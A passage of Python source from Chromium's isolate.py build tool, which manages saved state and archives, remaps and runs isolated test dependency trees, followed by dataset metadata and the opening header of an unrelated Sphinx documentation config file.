files.extend(isolated_format.save_isolated(isolated, data))
return files
class Flattenable(object):
"""Represents data that can be represented as a json file."""
MEMBERS = ()
def flatten(self):
"""Returns a json-serializable version of itself.
Skips None entries.
"""
items = ((member, getattr(self, member)) for member in self.MEMBERS)
return dict((member, value) for member, value in items if value is not None)
@classmethod
def load(cls, data, *args, **kwargs):
"""Loads a flattened version."""
data = data.copy()
out = cls(*args, **kwargs)
for member in out.MEMBERS:
if member in data:
# Access to a protected member XXX of a client class
# pylint: disable=W0212
out._load_member(member, data.pop(member))
if data:
raise ValueError(
'Found unexpected entry %s while constructing an object %s' %
(data, cls.__name__), data, cls.__name__)
return out
def _load_member(self, member, value):
"""Loads a member into self."""
setattr(self, member, value)
@classmethod
def load_file(cls, filename, *args, **kwargs):
"""Loads the data from a file or return an empty instance."""
try:
out = cls.load(tools.read_json(filename), *args, **kwargs)
logging.debug('Loaded %s(%s)', cls.__name__, filename)
except (IOError, ValueError) as e:
# On failure, loads the default instance.
out = cls(*args, **kwargs)
logging.warn('Failed to load %s: %s', filename, e)
return out
class SavedState(Flattenable):
"""Describes the content of a .state file.
This file caches the items calculated by this script and is used to increase
the performance of the script. This file is not loaded by run_isolated.py.
This file can always be safely removed.
It is important to note that the 'files' dict keys are using native OS path
separator instead of '/' used in .isolate file.
"""
MEMBERS = (
# Value of sys.platform so that the file is rejected if loaded from a
# different OS. While this should never happen in practice, users are ...
# "creative".
'OS',
# Algorithm used to generate the hash. The only supported value is at the
# time of writing 'sha-1'.
'algo',
# List of included .isolated files. Used to support/remember 'slave'
# .isolated files. Relative path to isolated_basedir.
'child_isolated_files',
# Cache of the processed command. This value is saved because .isolated
# files are never loaded by isolate.py so it's the only way to load the
# command safely.
'command',
# GYP variables that are used to generate conditions. The most frequent
# example is 'OS'.
'config_variables',
# GYP variables that will be replaced in 'command' and paths but will not be
# considered a relative directory.
'extra_variables',
# Cache of the files found so the next run can skip hash calculation.
'files',
# Path of the original .isolate file. Relative path to isolated_basedir.
'isolate_file',
# GYP variables used to generate the .isolated files paths based on path
# variables. Frequent examples are DEPTH and PRODUCT_DIR.
'path_variables',
# If the generated directory tree should be read-only. Defaults to 1.
'read_only',
# Relative cwd to use to start the command.
'relative_cwd',
# Root directory the files are mapped from.
'root_dir',
# Version of the saved state file format. Any breaking change must update
# the value.
'version',
)
# Bump this version whenever the saved state changes. It is also keyed on the
# .isolated file version so any change in the generator will invalidate .state
# files.
EXPECTED_VERSION = isolated_format.ISOLATED_FILE_VERSION + '.2'
def __init__(self, isolated_basedir):
"""Creates an empty SavedState.
Arguments:
isolated_basedir: the directory where the .isolated and .isolated.state
files are saved.
"""
super(SavedState, self).__init__()
assert os.path.isabs(isolated_basedir), isolated_basedir
assert os.path.isdir(isolated_basedir), isolated_basedir
self.isolated_basedir = isolated_basedir
# The default algorithm used.
self.OS = sys.platform
self.algo = isolated_format.SUPPORTED_ALGOS['sha-1']
self.child_isolated_files = []
self.command = []
self.config_variables = {}
self.extra_variables = {}
self.files = {}
self.isolate_file = None
self.path_variables = {}
# Defaults to 1 when compiling to .isolated.
self.read_only = None
self.relative_cwd = None
self.root_dir = None
self.version = self.EXPECTED_VERSION
def update_config(self, config_variables):
"""Updates the saved state with only config variables."""
self.config_variables.update(config_variables)
def update(self, isolate_file, path_variables, extra_variables):
"""Updates the saved state with new data to keep GYP variables and internal
reference to the original .isolate file.
"""
assert os.path.isabs(isolate_file)
# Convert back to a relative path. On Windows, if the isolate and
# isolated files are on different drives, isolate_file will stay an absolute
# path.
isolate_file = file_path.safe_relpath(isolate_file, self.isolated_basedir)
# The same .isolate file should always be used to generate the .isolated and
# .isolated.state.
assert isolate_file == self.isolate_file or not self.isolate_file, (
isolate_file, self.isolate_file)
self.extra_variables.update(extra_variables)
self.isolate_file = isolate_file
self.path_variables.update(path_variables)
def update_isolated(self, command, infiles, read_only, relative_cwd):
"""Updates the saved state with data necessary to generate a .isolated file.
The new files in |infiles| are added to self.files dict but their hash is
not calculated here.
"""
self.command = command
# Add new files.
for f in infiles:
self.files.setdefault(f, {})
# Prune extraneous files that are not a dependency anymore.
for f in set(self.files).difference(set(infiles)):
del self.files[f]
if read_only is not None:
self.read_only = read_only
self.relative_cwd = relative_cwd
def to_isolated(self):
"""Creates a .isolated dictionary out of the saved state.
https://chromium.googlesource.com/infra/luci/luci-py.git/+/master/appengine/isolate/doc/Design.md#file-format
"""
def strip(data):
"""Returns a 'files' entry with only the whitelisted keys."""
return dict((k, data[k]) for k in ('h', 'l', 'm', 's') if k in data)
out = {
'algo': isolated_format.SUPPORTED_ALGOS_REVERSE[self.algo],
'files': dict(
(filepath, strip(data)) for filepath, data in self.files.iteritems()),
# The version of the .state file is different than the one of the
# .isolated file.
'version': isolated_format.ISOLATED_FILE_VERSION,
}
out['read_only'] = self.read_only if self.read_only is not None else 1
if self.command:
out['command'] = self.command
if self.relative_cwd:
# Only set relative_cwd if a command was also specified. This reduce the
# noise for Swarming tasks where the command is specified as part of the
# Swarming task request and not thru the isolated file.
out['relative_cwd'] = self.relative_cwd
return out
@property
def isolate_filepath(self):
"""Returns the absolute path of self.isolate_file."""
return os.path.normpath(
os.path.join(self.isolated_basedir, self.isolate_file))
# Arguments number differs from overridden method
@classmethod
def load(cls, data, isolated_basedir): # pylint: disable=W0221
"""Special case loading to disallow different OS.
It is not possible to load a .isolated.state files from a different OS, this
file is saved in OS-specific format.
"""
out = super(SavedState, cls).load(data, isolated_basedir)
if data.get('OS') != sys.platform:
raise isolated_format.IsolatedError('Unexpected OS %s', data.get('OS'))
# Converts human readable form back into the proper class type.
algo = data.get('algo')
if not algo in isolated_format.SUPPORTED_ALGOS:
raise isolated_format.IsolatedError('Unknown algo \'%s\'' % out.algo)
out.algo = isolated_format.SUPPORTED_ALGOS[algo]
# Refuse the load non-exact version, even minor difference. This is unlike
# isolateserver.load_isolated(). This is because .isolated.state could have
# changed significantly even in minor version difference.
if out.version != cls.EXPECTED_VERSION:
raise isolated_format.IsolatedError(
'Unsupported version \'%s\'' % out.version)
# The .isolate file must be valid. If it is not present anymore, zap the
# value as if it was not noted, so .isolate_file can safely be overriden
# later.
if out.isolate_file and not fs.isfile(out.isolate_filepath):
out.isolate_file = None
if out.isolate_file:
# It could be absolute on Windows if the drive containing the .isolate and
# the drive containing the .isolated files differ, .e.g .isolate is on
# C:\\ and .isolated is on D:\\ .
assert not os.path.isabs(out.isolate_file) or sys.platform == 'win32'
assert fs.isfile(out.isolate_filepath), out.isolate_filepath
return out
def flatten(self):
"""Makes sure 'algo' is in human readable form."""
out = super(SavedState, self).flatten()
out['algo'] = isolated_format.SUPPORTED_ALGOS_REVERSE[out['algo']]
return out
def __str__(self):
def dict_to_str(d):
return ''.join('\n %s=%s' % (k, d[k]) for k in sorted(d))
out = '%s(\n' % self.__class__.__name__
out += ' command: %s\n' % self.command
out += ' files: %d\n' % len(self.files)
out += ' isolate_file: %s\n' % self.isolate_file
out += ' read_only: %s\n' % self.read_only
out += ' relative_cwd: %s\n' % self.relative_cwd
out += ' child_isolated_files: %s\n' % self.child_isolated_files
out += ' path_variables: %s\n' % dict_to_str(self.path_variables)
out += ' config_variables: %s\n' % dict_to_str(self.config_variables)
out += ' extra_variables: %s\n' % dict_to_str(self.extra_variables)
return out
class CompleteState(object):
"""Contains all the state to run the task at hand."""
def __init__(self, isolated_filepath, saved_state):
super(CompleteState, self).__init__()
assert isolated_filepath is None or os.path.isabs(isolated_filepath)
self.isolated_filepath = isolated_filepath
# Contains the data to ease developer's use-case but that is not strictly
# necessary.
self.saved_state = saved_state
@classmethod
def load_files(cls, isolated_filepath):
"""Loads state from disk."""
assert os.path.isabs(isolated_filepath), isolated_filepath
isolated_basedir = os.path.dirname(isolated_filepath)
return cls(
isolated_filepath,
SavedState.load_file(
isolatedfile_to_state(isolated_filepath), isolated_basedir))
def load_isolate(
self, cwd, isolate_file, path_variables, config_variables,
extra_variables, blacklist, ignore_broken_items, collapse_symlinks):
"""Updates self.isolated and self.saved_state with information loaded from a
.isolate file.
Processes the loaded data, deduce root_dir, relative_cwd.
"""
# Make sure to not depend on os.getcwd().
assert os.path.isabs(isolate_file), isolate_file
isolate_file = file_path.get_native_path_case(isolate_file)
logging.info(
'CompleteState.load_isolate(%s, %s, %s, %s, %s, %s, %s)',
cwd, isolate_file, path_variables, config_variables, extra_variables,
ignore_broken_items, collapse_symlinks)
# Config variables are not affected by the paths and must be used to
# retrieve the paths, so update them first.
self.saved_state.update_config(config_variables)
with fs.open(isolate_file, 'r') as f:
# At that point, variables are not replaced yet in command and infiles.
# infiles may contain directory entries and is in posix style.
command, infiles, read_only, isolate_cmd_dir = (
isolate_format.load_isolate_for_config(
os.path.dirname(isolate_file), f.read(),
self.saved_state.config_variables))
# Processes the variables with the new found relative root. Note that 'cwd'
# is used when path variables are used.
path_variables = normalize_path_variables(
cwd, path_variables, isolate_cmd_dir)
# Update the rest of the saved state.
self.saved_state.update(isolate_file, path_variables, extra_variables)
total_variables = self.saved_state.path_variables.copy()
total_variables.update(self.saved_state.config_variables)
total_variables.update(self.saved_state.extra_variables)
command = [
isolate_format.eval_variables(i, total_variables) for i in command
]
total_variables = self.saved_state.path_variables.copy()
total_variables.update(self.saved_state.extra_variables)
infiles = [
isolate_format.eval_variables(f, total_variables) for f in infiles
]
# root_dir is automatically determined by the deepest root accessed with the
# form '../../foo/bar'. Note that path variables must be taken in account
# too, add them as if they were input files.
self.saved_state.root_dir = isolate_format.determine_root_dir(
isolate_cmd_dir, infiles + self.saved_state.path_variables.values())
# The relative directory is automatically determined by the relative path
# between root_dir and the directory containing the .isolate file,
# isolate_base_dir.
relative_cwd = os.path.relpath(isolate_cmd_dir, self.saved_state.root_dir)
# Now that we know where the root is, check that the path_variables point
# inside it.
for k, v in self.saved_state.path_variables.iteritems():
dest = os.path.join(isolate_cmd_dir, relative_cwd, v)
if not file_path.path_starts_with(self.saved_state.root_dir, dest):
raise isolated_format.MappingError(
'Path variable %s=%r points outside the inferred root directory '
'%s; %s'
% (k, v, self.saved_state.root_dir, dest))
# Normalize the files based to self.saved_state.root_dir. It is important to
# keep the trailing os.path.sep at that step.
infiles = [
file_path.relpath(
file_path.normpath(os.path.join(isolate_cmd_dir, f)),
self.saved_state.root_dir)
for f in infiles
]
follow_symlinks = False
if not collapse_symlinks:
follow_symlinks = sys.platform != 'win32'
# Expand the directories by listing each file inside. Up to now, trailing
# os.path.sep must be kept.
infiles = isolated_format.expand_directories_and_symlinks(
self.saved_state.root_dir,
infiles,
tools.gen_blacklist(blacklist),
follow_symlinks,
ignore_broken_items)
# Finally, update the new data to be able to generate the foo.isolated file,
# the file that is used by run_isolated.py.
self.saved_state.update_isolated(command, infiles, read_only, relative_cwd)
logging.debug(self)
def files_to_metadata(self, subdir, collapse_symlinks):
"""Updates self.saved_state.files with the files' mode and hash.
If |subdir| is specified, filters to a subdirectory. The resulting .isolated
file is tainted.
See isolated_format.file_to_metadata() for more information.
"""
for infile in sorted(self.saved_state.files):
if subdir and not infile.startswith(subdir):
self.saved_state.files.pop(infile)
else:
filepath = os.path.join(self.root_dir, infile)
self.saved_state.files[infile] = isolated_format.file_to_metadata(
filepath,
self.saved_state.files[infile],
self.saved_state.read_only,
self.saved_state.algo,
collapse_symlinks)
def save_files(self):
"""Saves self.saved_state and creates a .isolated file."""
logging.debug('Dumping to %s' % self.isolated_filepath)
self.saved_state.child_isolated_files = chromium_save_isolated(
self.isolated_filepath,
self.saved_state.to_isolated(),
self.saved_state.path_variables,
self.saved_state.algo)
total_bytes = sum(
i.get('s', 0) for i in self.saved_state.files.itervalues())
if total_bytes:
# TODO(maruel): Stats are missing the .isolated files.
logging.debug('Total size: %d bytes' % total_bytes)
saved_state_file = isolatedfile_to_state(self.isolated_filepath)
logging.debug('Dumping to %s' % saved_state_file)
tools.write_json(saved_state_file, self.saved_state.flatten(), True)
@property
def root_dir(self):
return self.saved_state.root_dir
def __str__(self):
def indent(data, indent_length):
"""Indents text."""
spacing = ' ' * indent_length
return ''.join(spacing + l for l in str(data).splitlines(True))
out = '%s(\n' % self.__class__.__name__
out += ' root_dir: %s\n' % self.root_dir
out += ' saved_state: %s)' % indent(self.saved_state, 2)
return out
def load_complete_state(options, cwd, subdir, skip_update):
"""Loads a CompleteState.
This includes data from .isolate and .isolated.state files. Never reads the
.isolated file.
Arguments:
options: Options instance generated with process_isolate_options. For either
options.isolate and options.isolated, if the value is set, it is an
absolute path.
cwd: base directory to be used when loading the .isolate file.
subdir: optional argument to only process file in the subdirectory, relative
to CompleteState.root_dir.
skip_update: Skip trying to load the .isolate file and processing the
dependencies. It is useful when not needed, like when tracing.
"""
assert not options.isolate or os.path.isabs(options.isolate)
assert not options.isolated or os.path.isabs(options.isolated)
cwd = file_path.get_native_path_case(unicode(cwd))
if options.isolated:
# Load the previous state if it was present. Namely, "foo.isolated.state".
# Note: this call doesn't load the .isolate file.
complete_state = CompleteState.load_files(options.isolated)
else:
# Constructs a dummy object that cannot be saved. Useful for temporary
# commands like 'run'. There is no directory containing a .isolated file so
# specify the current working directory as a valid directory.
complete_state = CompleteState(None, SavedState(os.getcwd()))
if not options.isolate:
if not complete_state.saved_state.isolate_file:
if not skip_update:
raise ExecutionError('A .isolate file is required.')
isolate = None
else:
isolate = complete_state.saved_state.isolate_filepath
else:
isolate = options.isolate
if complete_state.saved_state.isolate_file:
rel_isolate = file_path.safe_relpath(
options.isolate, complete_state.saved_state.isolated_basedir)
if rel_isolate != complete_state.saved_state.isolate_file:
# This happens if the .isolate file was moved for example. In this case,
# discard the saved state.
logging.warning(
'--isolated %s != %s as saved in %s. Discarding saved state',
rel_isolate,
complete_state.saved_state.isolate_file,
isolatedfile_to_state(options.isolated))
complete_state = CompleteState(
options.isolated,
SavedState(complete_state.saved_state.isolated_basedir))
if not skip_update:
# Then load the .isolate and expands directories.
complete_state.load_isolate(
cwd, isolate, options.path_variables, options.config_variables,
options.extra_variables, options.blacklist, options.ignore_broken_items,
options.collapse_symlinks)
# Regenerate complete_state.saved_state.files.
if subdir:
subdir = unicode(subdir)
# This is tricky here. If it is a path, take it from the root_dir. If
# it is a variable, it must be keyed from the directory containing the
# .isolate file. So translate all variables first.
translated_path_variables = dict(
(k,
os.path.normpath(os.path.join(complete_state.saved_state.relative_cwd,
v)))
for k, v in complete_state.saved_state.path_variables.iteritems())
subdir = isolate_format.eval_variables(subdir, translated_path_variables)
subdir = subdir.replace('/', os.path.sep)
if not skip_update:
complete_state.files_to_metadata(subdir, options.collapse_symlinks)
return complete_state
def create_isolate_tree(outdir, root_dir, files, relative_cwd, read_only):
"""Creates a isolated tree usable for test execution.
Returns the current working directory where the isolated command should be
started in.
"""
# Forcibly copy when the tree has to be read only. Otherwise the inode is
# modified, and this cause real problems because the user's source tree
# becomes read only. On the other hand, the cost of doing file copy is huge.
if read_only not in (0, None):
action = file_path.COPY
else:
action = file_path.HARDLINK_WITH_FALLBACK
recreate_tree(
outdir=outdir,
indir=root_dir,
infiles=files,
action=action,
as_hash=False)
cwd = os.path.normpath(os.path.join(outdir, relative_cwd))
# cwd may not exist when no files are mapped from the directory containing the
# .isolate file. But the directory must exist to be the current working
# directory.
file_path.ensure_tree(cwd)
run_isolated.change_tree_read_only(outdir, read_only)
return cwd
@tools.profile
def prepare_for_archival(options, cwd):
"""Loads the isolated file and create 'infiles' for archival."""
complete_state = load_complete_state(
options, cwd, options.subdir, False)
# Make sure that complete_state isn't modified until save_files() is
# called, because any changes made to it here will propagate to the files
# created (which is probably not intended).
complete_state.save_files()
infiles = complete_state.saved_state.files
# Add all the .isolated files.
isolated_hash = []
isolated_files = [
options.isolated,
] + complete_state.saved_state.child_isolated_files
for item in isolated_files:
item_path = os.path.join(
os.path.dirname(complete_state.isolated_filepath), item)
# Do not use isolated_format.hash_file() here because the file is
# likely smallish (under 500kb) and its file size is needed.
with fs.open(item_path, 'rb') as f:
content = f.read()
isolated_hash.append(
complete_state.saved_state.algo(content).hexdigest())
isolated_metadata = {
'h': isolated_hash[-1],
's': len(content),
'priority': '0'
}
infiles[item_path] = isolated_metadata
return complete_state, infiles, isolated_hash
def isolate_and_archive(trees, isolate_server, namespace):
"""Isolates and uploads a bunch of isolated trees.
Args:
trees: list of pairs (Options, working directory) that describe what tree
to isolate. Options are processed by 'process_isolate_options'.
isolate_server: URL of Isolate Server to upload to.
namespace: namespace to upload to.
Returns a dict {target name -> isolate hash or None}, where target name is
a name of *.isolated file without an extension (e.g. 'base_unittests').
Have multiple failure modes:
* If the upload fails due to server or network error returns None.
* If some *.isolate file is incorrect (but rest of them are fine and were
successfully uploaded), returns a dict where the value of the entry
corresponding to invalid *.isolate file is None.
"""
if not trees:
return {}
# Helper generator to avoid materializing the full (huge) list of files until
# the very end (in upload_tree).
def emit_files(root_dir, files):
for path, meta in files.iteritems():
yield (os.path.join(root_dir, path), meta)
# Process all *.isolate files, it involves parsing, file system traversal and
# hashing. The result is a list of generators that produce files to upload
# and the mapping {target name -> hash of *.isolated file} to return from
# this function.
files_generators = []
isolated_hashes = {}
with tools.Profiler('Isolate'):
for opts, cwd in trees:
target_name = os.path.splitext(os.path.basename(opts.isolated))[0]
try:
complete_state, files, isolated_hash = prepare_for_archival(opts, cwd)
files_generators.append(emit_files(complete_state.root_dir, files))
isolated_hashes[target_name] = isolated_hash[0]
print('%s %s' % (isolated_hash[0], target_name))
except Exception:
logging.exception('Exception when isolating %s', target_name)
isolated_hashes[target_name] = None
# All bad? Nothing to upload.
if all(v is None for v in isolated_hashes.itervalues()):
return isolated_hashes
# Now upload all necessary files at once.
with tools.Profiler('Upload'):
try:
isolateserver.upload_tree(
base_url=isolate_server,
infiles=itertools.chain(*files_generators),
namespace=namespace)
except Exception:
logging.exception('Exception while uploading files')
return None
return isolated_hashes
def parse_archive_command_line(args, cwd):
"""Given list of arguments for 'archive' command returns parsed options.
Used by CMDbatcharchive to parse options passed via JSON. See also CMDarchive.
"""
parser = optparse.OptionParser()
add_isolate_options(parser)
add_subdir_option(parser)
options, args = parser.parse_args(args)
if args:
parser.error('Unsupported argument: %s' % args)
process_isolate_options(parser, options, cwd)
return options
### Commands.
def CMDarchive(parser, args):
"""Creates a .isolated file and uploads the tree to an isolate server.
All the files listed in the .isolated file are put in the isolate server
cache via isolateserver.py.
"""
add_isolate_options(parser)
add_subdir_option(parser)
isolateserver.add_isolate_server_options(parser)
auth.add_auth_options(parser)
options, args = parser.parse_args(args)
if args:
parser.error('Unsupported argument: %s' % args)
process_isolate_options(parser, options)
auth.process_auth_options(parser, options)
isolateserver.process_isolate_server_options(parser, options, True, True)
result = isolate_and_archive(
[(options, unicode(os.getcwd()))],
options.isolate_server,
options.namespace)
if result is None:
return EXIT_CODE_UPLOAD_ERROR
assert len(result) == 1, result
if result.values()[0] is None:
return EXIT_CODE_ISOLATE_ERROR
return 0
@subcommand.usage('-- GEN_JSON_1 GEN_JSON_2 ...')
def CMDbatcharchive(parser, args):
"""Archives multiple isolated trees at once.
Using single command instead of multiple sequential invocations allows to cut
redundant work when isolated trees share common files (e.g. file hashes are
checked only once, their presence on the server is checked only once, and
so on).
Takes a list of paths to *.isolated.gen.json files that describe what trees to
isolate. Format of files is:
{
"version": 1,
"dir": <absolute path to a directory all other paths are relative to>,
"args": [list of command line arguments for single 'archive' command]
}
"""
isolateserver.add_isolate_server_options(parser)
isolateserver.add_archive_options(parser)
auth.add_auth_options(parser)
parser.add_option(
'--dump-json',
metavar='FILE',
help='Write isolated hashes of archived trees to this file as JSON')
options, args = parser.parse_args(args)
auth.process_auth_options(parser, options)
isolateserver.process_isolate_server_options(parser, options, True, True)
# Validate all incoming options, prepare what needs to be archived as a list
# of tuples (archival options, working directory).
work_units = []
for gen_json_path in args:
# Validate JSON format of a *.isolated.gen.json file.
try:
data = tools.read_json(gen_json_path)
except IOError as e:
parser.error('Failed to open %s: %s' % (gen_json_path, e))
if data.get('version') != ISOLATED_GEN_JSON_VERSION:
parser.error('Invalid version in %s' % gen_json_path)
cwd = data.get('dir')
if not isinstance(cwd, unicode) or not fs.isdir(cwd):
parser.error('Invalid dir in %s' % gen_json_path)
args = data.get('args')
if (not isinstance(args, list) or
not all(isinstance(x, unicode) for x in args)):
parser.error('Invalid args in %s' % gen_json_path)
# Convert command line (embedded in JSON) to Options object.
work_units.append((parse_archive_command_line(args, cwd), cwd))
# Perform the archival, all at once.
isolated_hashes = isolate_and_archive(
work_units, options.isolate_server, options.namespace)
# TODO(vadimsh): isolate_and_archive returns None on upload failure, there's
# no way currently to figure out what *.isolated file from a batch were
# successfully uploaded, so consider them all failed (and emit empty dict
# as JSON result).
if options.dump_json:
tools.write_json(options.dump_json, isolated_hashes or {}, False)
if isolated_hashes is None:
return EXIT_CODE_UPLOAD_ERROR
# isolated_hashes[x] is None if 'x.isolate' contains a error.
if not all(isolated_hashes.itervalues()):
return EXIT_CODE_ISOLATE_ERROR
return 0
def CMDcheck(parser, args):
"""Checks that all the inputs are present and generates .isolated."""
add_isolate_options(parser)
add_subdir_option(parser)
options, args = parser.parse_args(args)
if args:
parser.error('Unsupported argument: %s' % args)
process_isolate_options(parser, options)
complete_state = load_complete_state(
options, os.getcwd(), options.subdir, False)
# Nothing is done specifically. Just store the result and state.
complete_state.save_files()
return 0
def CMDremap(parser, args):
"""Creates a directory with all the dependencies mapped into it.
Useful to test manually why a test is failing. The target executable is not
run.
"""
add_isolate_options(parser)
add_outdir_options(parser)
add_skip_refresh_option(parser)
options, args = parser.parse_args(args)
if args:
parser.error('Unsupported argument: %s' % args)
cwd = os.getcwd()
process_isolate_options(parser, options, cwd, require_isolated=False)
process_outdir_options(parser, options, cwd)
complete_state = load_complete_state(options, cwd, None, options.skip_refresh)
file_path.ensure_tree(options.outdir)
print('Remapping into %s' % options.outdir)
if fs.listdir(options.outdir):
raise ExecutionError('Can\'t remap in a non-empty directory')
create_isolate_tree(
options.outdir, complete_state.root_dir, complete_state.saved_state.files,
complete_state.saved_state.relative_cwd,
complete_state.saved_state.read_only)
if complete_state.isolated_filepath:
complete_state.save_files()
return 0
@subcommand.usage('-- [extra arguments]')
def CMDrun(parser, args):
"""Runs the test executable in an isolated (temporary) directory.
All the dependencies are mapped into the temporary directory and the
directory is cleaned up after the target exits.
Argument processing stops at -- and these arguments are appended to the
command line of the target to run. For example, use:
isolate.py run --isolated foo.isolated -- --gtest_filter=Foo.Bar
"""
add_isolate_options(parser)
add_skip_refresh_option(parser)
options, args = parser.parse_args(args)
process_isolate_options(parser, options, require_isolated=False)
complete_state = load_complete_state(
options, os.getcwd(), None, options.skip_refresh)
cmd = complete_state.saved_state.command + args
if not cmd:
raise ExecutionError('No command to run.')
cmd = tools.fix_python_cmd(cmd)
outdir = run_isolated.make_temp_dir(
u'isolate-%s' % datetime.date.today(),
os.path.dirname(complete_state.root_dir))
try:
# TODO(maruel): Use run_isolated.run_tha_test().
cwd = create_isolate_tree(
outdir, complete_state.root_dir, complete_state.saved_state.files,
complete_state.saved_state.relative_cwd,
complete_state.saved_state.read_only)
file_path.ensure_command_has_abs_path(cmd, cwd)
logging.info('Running %s, cwd=%s' % (cmd, cwd))
try:
result = subprocess.call(cmd, cwd=cwd)
except OSError:
sys.stderr.write(
'Failed to executed the command; executable is missing, maybe you\n'
'forgot to map it in the .isolate file?\n %s\n in %s\n' %
(' '.join(cmd), cwd))
result = 1
finally:
file_path.rmtree(outdir)
if complete_state.isolated_filepath:
complete_state.save_files()
return result
def _process_variable_arg(option, opt, _value, parser):
"""Called by OptionParser to process a --<foo>-variable argument."""
if not parser.rargs:
raise optparse.OptionValueError(
'Please use %s FOO=BAR or %s FOO BAR' % (opt, opt))
k = parser.rargs.pop(0)
variables = getattr(parser.values, option.dest)
if '=' in k:
k, v = k.split('=', 1)
else:
if not parser.rargs:
raise optparse.OptionValueError(
'Please use %s FOO=BAR or %s FOO BAR' % (opt, opt))
v = parser.rargs.pop(0)
if not re.match('^' + isolate_format.VALID_VARIABLE + '$', k):
raise optparse.OptionValueError(
'Variable \'%s\' doesn\'t respect format \'%s\'' %
(k, isolate_format.VALID_VARIABLE))
variables.append((k, v.decode('utf-8')))
def add_variable_option(parser):
"""Adds --isolated and --<foo>-variable to an OptionParser."""
parser.add_option(
'-s', '--isolated',
metavar='FILE',
help='.isolated file to generate or read')
# Keep for compatibility. TODO(maruel): Remove once not used anymore.
parser.add_option(
'-r', '--result',
dest='isolated',
help=optparse.SUPPRESS_HELP)
is_win = sys.platform in ('win32', 'cygwin')
# There is really 3 kind of variables:
# - path variables, like DEPTH or PRODUCT_DIR that should be
# replaced opportunistically when tracing tests.
# - extraneous things like EXECUTABE_SUFFIX.
# - configuration variables that are to be used in deducing the matrix to
# reduce.
# - unrelated variables that are used as command flags for example.
parser.add_option(
'--config-variable',
action='callback',
callback=_process_variable_arg,
default=[],
dest='config_variables',
metavar='FOO BAR',
help='Config variables are used to determine which conditions should be '
'matched when loading a .isolate file, default: %default. '
'All 3 kinds of variables are persistent accross calls, they are '
'saved inside <.isolated>.state')
parser.add_option(
'--path-variable',
action='callback',
callback=_process_variable_arg,
default=[],
dest='path_variables',
metavar='FOO BAR',
help='Path variables are used to replace file paths when loading a '
'.isolate file, default: %default')
parser.add_option(
'--extra-variable',
action='callback',
callback=_process_variable_arg,
default=[('EXECUTABLE_SUFFIX', '.exe' if is_win else '')],
dest='extra_variables',
metavar='FOO BAR',
help='Extraneous variables are replaced on the \'command\' entry and on '
'paths in the .isolate file but are not considered relative paths.')
def add_isolate_options(parser):
"""Adds --isolate, --isolated, --out and --<foo>-variable options."""
isolateserver.add_archive_options(parser)
group = optparse.OptionGroup(parser, 'Common options')
group.add_option(
'-i', '--isolate',
metavar='FILE',
help='.isolate file to load the dependency data from')
add_variable_option(group)
group.add_option(
'--ignore_broken_items', action='store_true',
default=bool(os.environ.get('ISOLATE_IGNORE_BROKEN_ITEMS')),
help='Indicates that invalid entries in the isolated file to be '
'only be logged and not stop processing. Defaults to True if '
'env var ISOLATE_IGNORE_BROKEN_ITEMS is set')
group.add_option(
'-L', '--collapse_symlinks', action='store_true',
help='Treat any symlinks as if they were the normal underlying file')
parser.add_option_group(group)
def add_subdir_option(parser):
parser.add_option(
'--subdir',
help='Filters to a subdirectory. Its behavior changes depending if it '
'is a relative path as a string or as a path variable. Path '
'variables are always keyed from the directory containing the '
'.isolate file. Anything else is keyed on the root directory.')
def add_skip_refresh_option(parser):
parser.add_option(
'--skip-refresh', action='store_true',
help='Skip reading .isolate file and do not refresh the hash of '
'dependencies')
def add_outdir_options(parser):
"""Adds --outdir, which is orthogonal to --isolate-server.
Note: On upload, separate commands are used between 'archive' and 'hashtable'.
On 'download', the same command can download from either an isolate server or
a file system.
"""
parser.add_option(
'-o', '--outdir', metavar='DIR',
help='Directory used to recreate the tree.')
def process_outdir_options(parser, options, cwd):
if not options.outdir:
parser.error('--outdir is required.')
if file_path.is_url(options.outdir):
parser.error('Can\'t use an URL for --outdir.')
options.outdir = unicode(options.outdir).replace('/', os.path.sep)
# outdir doesn't need native path case since tracing is never done from there.
options.outdir = os.path.abspath(
os.path.normpath(os.path.join(cwd, options.outdir)))
# In theory, we'd create the directory outdir right away. Defer doing it in
# case there's errors in the command line.
def process_isolate_options(parser, options, cwd=None, require_isolated=True):
"""Handles options added with 'add_isolate_options'.
Mutates |options| in place, by normalizing path to isolate file, values of
variables, etc.
"""
cwd = file_path.get_native_path_case(unicode(cwd or os.getcwd()))
# Parse --isolated option.
if options.isolated:
options.isolated = os.path.abspath(
os.path.join(cwd, unicode(options.isolated).replace('/', os.path.sep)))
if require_isolated and not options.isolated:
parser.error('--isolated is required.')
if options.isolated and not options.isolated.endswith('.isolated'):
parser.error('--isolated value must end with \'.isolated\'')
# Processes all the --<foo>-variable flags.
def try_make_int(s):
"""Converts a value to int if possible, converts to unicode otherwise."""
try:
return int(s)
except ValueError:
return s.decode('utf-8')
options.config_variables = dict(
(k, try_make_int(v)) for k, v in options.config_variables)
options.path_variables = dict(options.path_variables)
options.extra_variables = dict(options.extra_variables)
# Normalize the path in --isolate.
if options.isolate:
# TODO(maruel): Work with non-ASCII.
# The path must be in native path case for tracing purposes.
options.isolate = unicode(options.isolate).replace('/', os.path.sep)
options.isolate = os.path.abspath(os.path.join(cwd, options.isolate))
options.isolate = file_path.get_native_path_case(options.isolate)
def main(argv):
dispatcher = subcommand.CommandDispatcher(__name__)
parser = logging_utils.OptionParserWithLogging(
version=__version__, verbose=int(os.environ.get('ISOLATE_DEBUG', 0)))
try:
return dispatcher.execute(parser, argv)
except isolated_format.MappingError as e:
print >> sys.stderr, 'Failed to find an input file: %s' % e
return 1
except ExecutionError as e:
print >> sys.stderr, 'Execution failure: %s' % e
return 1
if __name__ == '__main__':
subprocess42.inhibit_os_error_reporting()
fix_encoding.fix_encoding()
tools.disable_buffering()
colorama.init()
sys.exit(main(sys.argv[1:]))
| 37.942603 | 113 | 0.703654 |
795c4ef437c07a09838321e55a08d6c079d38b67 | 8,630 | py | Python | docs/conf.py | cuijialang/prjxray | 7ddd5f88e60c9876a6d7171b343c1c855239dc85 | [
"ISC"
] | 1 | 2020-05-15T03:26:22.000Z | 2020-05-15T03:26:22.000Z | docs/conf.py | cuijialang/prjxray | 7ddd5f88e60c9876a6d7171b343c1c855239dc85 | [
"ISC"
] | null | null | null | docs/conf.py | cuijialang/prjxray | 7ddd5f88e60c9876a6d7171b343c1c855239dc85 | [
"ISC"
] | null | null | null | # -*- coding: utf-8 -*-
#
# Project X-Ray documentation build configuration file, created by
# sphinx-quickstart on Mon Feb 5 11:04:37 2018.
#
# This file is execfile()d with the current directory set to its
# containing dir.
#
# Note that not all possible configuration values are present in this
# autogenerated file.
#
